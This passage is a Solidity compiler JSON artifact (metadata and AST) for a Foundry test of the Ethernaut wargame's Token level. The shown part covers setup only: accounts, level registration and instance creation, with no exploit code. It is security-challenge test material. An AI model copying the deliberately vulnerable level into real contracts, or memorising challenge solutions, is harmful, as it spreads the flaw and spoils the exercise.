cCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Token.t.sol":{"keccak256":"0xb38d341efd33d02662f240f0b70b76578e70b1629993ce3fb6043d4d43f4e9f5","urls":["bzz-raw://6c06db9b9798838d4e5a15f017932c69dec59b06859bf547a9394b6a0126901c","dweb:/ipfs/QmQZN7JiSLV8UF3UffdS9jY62xZQHEgnnSftp5Gxm6aZyu"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Token.t.sol","id":64927,"exportedSymbols":{"DummyFactory":[52145],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestToken":[64926],"Token":[64756],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1904:149","nodes":[{"id":64737,"nodeType":"PragmaDirective","src":"32:23:149","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":64738,"nodeType":"ImportDirective","src":"57:28:149","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":64740,"nodeType":"ImportDirective","src":"86:43:149","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":64739,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64742,"nodeType":"ImportDirective","src":"131:57:149","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":64741,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64744,"nodeType":"ImportDirective","src":"189:48:149","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":64743,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64746,"nodeType":"ImportDirective","src":"238:44:149","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":64927,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":64745,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:149","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64756,"nodeType":"ContractDefinition","src":"284:84:149","nodes":[{"id":64755,"nodeType":"FunctionDefinition","src":"306:60:149","nodes":[],"functionSelector":"a9059cbb","implemented":false,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"315:8:149","parameters":{"id":64751,"nodeType":"ParameterList","parameters":[{"constant":false,"id":64748,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":64755,"src":"324:7:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":64747,"name":"address","nodeType":"ElementaryTypeName","src":"324:7:149","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":64750,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":64755,"src":"333:7:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":64749,"name":"uint256","nodeType":"ElementaryTypeName","src":"333:7:149","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"323:18:149"},"returnParameters":{"id":64754,"nodeType":"ParameterList","parameters":[{"constant":false,"id":64753,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":64755,"src":"360:4:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":64752,"name":"bool","nodeType":"ElementaryTypeName","src":"360:4:149","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"359:6:149"},"scope":64756,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Token","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[64756],"name":"Token","nameLocation":"294:5:149","scope":64927,"usedErrors":[],"usedEvents":[]},{"id":64926,"nodeType":"ContractDefinition","src":"370:1565:149","nodes":[{"id":64763,"nodeType":"VariableDeclaration","src":"410:19:149","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"420:9:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":64762,"nodeType":"UserDefinedTypeName","pathNode":{"id":64761,"name":"Ethernaut","nameLocations":["410:9:149"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"410:9:149"},"referencedDeclaration":49101,"src":"410:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":64766,"nodeType":"VariableDeclaration","src":"435:14:149","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"441:8:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"},"typeName":{"id":64765,"nodeType":"UserDefinedTypeName","pathNode":{"id":64764,"name":"Token","nameLocations":["435:5:149"],"nodeType":"IdentifierPath","referencedDeclaration":64756,"src":"435:5:149"},"referencedDeclaration":64756,"src":"435:5:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"visibility":"internal"},{"id":64768,"nodeType":"VariableDeclaration","src":"456:21:149","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"472:5:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64767,"name":"address","nodeType":"ElementaryTypeName","src":"456:15:149","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64770,"nodeType":"VariableDeclaration","src":"483:22:149","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"499:6:149","scope":64926,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64769,"name":"address","nodeType":"ElementaryTypeName","src":"483:15:149","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64873,"nodeType":"FunctionDefinition","src":"692:608:149","nodes":[],"body":{"id":64872,"nodeType":"Block","src":"716:584:149","nodes":[],"statements":[{"assignments":[64775],"declarations":[{"constant":false,"id":64775,"mutability":"mutable","name":"users","nameLocation":"751:5:149","nodeType":"VariableDeclaration","scope":64872,"src":"726:30:149","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":64773,"name":"address","nodeType":"ElementaryTypeName","src":"726:15:149","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64774,"nodeType":"ArrayTypeName","src":"726:17:149","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":64779,"initialValue":{"arguments":[{"hexValue":"32","id":64777,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"771:1:149","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":64776,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"759:11:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":64778,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"759:14:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"726:47:149"},{"expression":{"id":64784,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64780,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"784:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64781,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64775,"src":"792:5:149","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64783,"indexExpression":{"hexValue":"30","id":64782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"798:1:149","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"792:8:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"784:16:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64785,"nodeType":"ExpressionStatement","src":"784:16:149"},{"expression":{"arguments":[{"id":64789,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"819:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":64790,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"826:7:149","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":64786,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"810:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64788,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"813:5:149","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"810:8:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64791,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"810:24:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64792,"nodeType":"ExpressionStatement","src":"810:24:149"},{"expression":{"id":64797,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64793,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"845:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64794,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64775,"src":"854:5:149","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64796,"indexExpression":{"hexValue":"31","id":64795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"860:1:149","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"854:8:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"845:17:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64798,"nodeType":"ExpressionStatement","src":"845:17:149"},{"expression":{"arguments":[{"id":64802,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"881:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":64803,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"889:8:149","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":64799,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"872:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64801,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"875:5:149","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"872:8:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"872:26:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64805,"nodeType":"ExpressionStatement","src":"872:26:149"},{"expression":{"arguments":[{"id":64809,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"923:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64806,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"909:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"912:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"909:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"909:20:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64811,"nodeType":"ExpressionStatement","src":"909:20:149"},{"expression":{"id":64816,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64812,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"939:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":64814,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64768,"src":"978:5:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64813,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"951:26:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":64815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"951:33:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"939:45:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64817,"nodeType":"ExpressionStatement","src":"939:45:149"},{"assignments":[64820],"declarations":[{"constant":false,"id":64820,"mutability":"mutable","name":"factory","nameLocation":"1007:7:149","nodeType":"VariableDeclaration","scope":64872,"src":"994:20:149","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":64819,"nodeType":"UserDefinedTypeName","pathNode":{"id":64818,"name":"DummyFactory","nameLocations":["994:12:149"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"994:12:149"},"referencedDeclaration":52145,"src":"994:12:149","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":64826,"initialValue":{"arguments":[{"arguments":[{"hexValue":"546f6b656e466163746f7279","id":64823,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1044:14:149","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d756f2d713885339bf87a67d06485521802e959f50d61d7607ed7117e51bc16","typeString":"literal_string \"TokenFactory\""},"value":"TokenFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3d756f2d713885339bf87a67d06485521802e959f50d61d7607ed7117e51bc16","typeString":"literal_string \"TokenFactory\""}],"id":64822,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1030:13:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":64824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1030:29:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64821,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1017:12:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":64825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:43:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"994:66:149"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":64833,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64820,"src":"1108:7:149","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":64832,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1100:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64831,"name":"address","nodeType":"ElementaryTypeName","src":"1100:7:149","typeDescriptions":{}}},"id":64834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1100:16:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64830,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1094:5:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64835,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:23:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":64827,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1070:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64829,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1080:13:149","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1070:23:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":64836,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1070:48:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64837,"nodeType":"ExpressionStatement","src":"1070:48:149"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64838,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1128:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64840,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1131:9:149","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1128:12:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1128:14:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64842,"nodeType":"ExpressionStatement","src":"1128:14:149"},{"expression":{"arguments":[{"id":64846,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"1167:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64843,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1153:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64845,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1156:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1153:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64847,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1153:21:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64848,"nodeType":"ExpressionStatement","src":"1153:21:149"},{"expression":{"id":64865,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64849,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1184:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":64854,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1229:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":64858,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64820,"src":"1254:7:149","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":64857,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1246:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64856,"name":"address","nodeType":"ElementaryTypeName","src":"1246:7:149","typeDescriptions":{}}},"id":64859,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1246:16:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64855,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1240:5:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64860,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1240:23:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":64861,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1265:1:149","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 